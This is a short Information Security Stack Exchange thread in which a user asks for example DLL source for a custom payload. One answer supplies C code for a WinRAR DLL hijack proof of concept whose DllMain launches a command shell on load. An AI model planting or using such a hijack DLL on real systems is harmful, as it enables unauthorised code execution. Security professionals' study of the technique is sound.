Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

A simple custom DLL source would be sufficient. All of the links I find on google are dead. I don't mind reading some clear source if there's a tut DLL floating about.

I tried for meterpreter and custom-payload tags...sadly no dice.

share|improve this question

2 Answers 2

  1. There is a sample DLL, either 'good' one and 'bad' one, including source, binary and full-blown example. http://seclists.org/fulldisclosure/2010/Sep/22

  2. There is a more straight-forward example for WinRAR DLL hijack: \

 #include "stdafx.h"

#include "stdlib.h" int g4h() { WinExec("cmd", SW_SHOW); return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { g4h(); return TRUE; }

Enjoy!

share|improve this answer
    
thx. i wound up having someone on IRC send me a link to one of mubix's articles. it doesn't inject directly into memory...as in it requires upload first, but it's a starting point –  hbdgaf Nov 20 '11 at 9:58
    
I +1'd the post btw –  hbdgaf Nov 30 '11 at 14:12
up vote 0 down vote accepted

This question is a moot point now that it's covered adequately in the documentation

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.